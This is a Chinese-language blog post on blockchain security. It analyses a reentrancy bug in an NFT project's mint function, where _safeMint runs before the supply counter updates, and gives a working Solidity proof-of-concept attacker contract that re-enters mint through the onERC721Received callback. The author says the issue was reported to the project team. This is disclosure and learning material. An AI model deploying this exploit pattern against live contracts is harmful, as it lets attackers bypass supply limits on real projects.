> For the complete documentation index, see [llms.txt](https://8olidity.gitbook.io/qu-kuai-lian-bi-ji/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://8olidity.gitbook.io/qu-kuai-lian-bi-ji/xiang-mu-dai-ma-yue-du/mou-xiang-mu-mint-zhong-ru-yi-jing-tong-zhi-xiang-mu-fang.md).

# 某项目mint 重入(已经通知项目方)

今天在群里看到有个nft的项目，于是分析一下。

主要的漏洞点是mint功能没有设置反重入攻击

```
function mint(uint256 _mintAmount) public payable {
        uint256 supply = currentSupply;
        require(_mintAmount > 0, "8HANABI:: Mint amount must be at least 1");
        require(
            supply + _mintAmount <= maxSupply,
            "8HANABI:: Unable to mint amount, will exceed max supply. Try decreasing the quantity."
        );
        if (msg.sender != owner()) {
            require(!_paused, "8HANABI:: Contract is paused.");
            require(_allowlistPaused, "8HANABI:: Allowlist sale is ongoing.");
            require(startingBlock > 0, "8HANABI:: Public sale start time has not been set.");
            require(startingBlock < block.timestamp, "8HANABI:: Public sale has not started.");
            require(
                _mintAmount <= maxMintAmount,//10
                "8HANABI:: Unable to mint amount, will exceed minting limit."
            );
            require(
                msg.value >= getCurrentPrice() * _mintAmount,
                "8HANABI:: Insufficient funds."
            );
        }
        _safeMint(msg.sender, _mintAmount); // 确实可以重入，但是需要每次给钱
        currentSupply += _mintAmount;
    }
```

这里他是先`safeMint`再`currentSupply += _mintAmount;`

写了个poc来验证

```
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import "hardhat/console.sol";
interface IHANABI {
    function mint(uint256 _mintAmount) external payable;
    function currentSupply() external view returns (uint256);
}
contract HANABIReentrancy {
    address addr;
    uint256 i = 20;
    uint256 price;

    constructor(address _addr, uint256 _price) {
        addr = _addr;
        price = _price;
    }

    receive() external payable {}

    function mintToken() public  {
        uint16 n = 1;
        console.log("mint");
        IHANABI(addr).mint{value: price}(n);
        console.log(IHANABI(addr).currentSupply());
    }

    function onERC721Received(address _operator, address _from, uint256 _tokenId, bytes calldata _data) payable external returns (bytes4) {
        i = i -1;
        if (i != 0) {
            mintToken();
        }

        return IERC721Receiver.onERC721Received.selector;
    }
}
```

效果如下

![](/files/x4zIG9IFo0JyXbiNPdSy)

通过discrod通知到项目方，于是白嫖到一个NFT

![](/files/nZm8sGgQum9dmy8lD7BA)
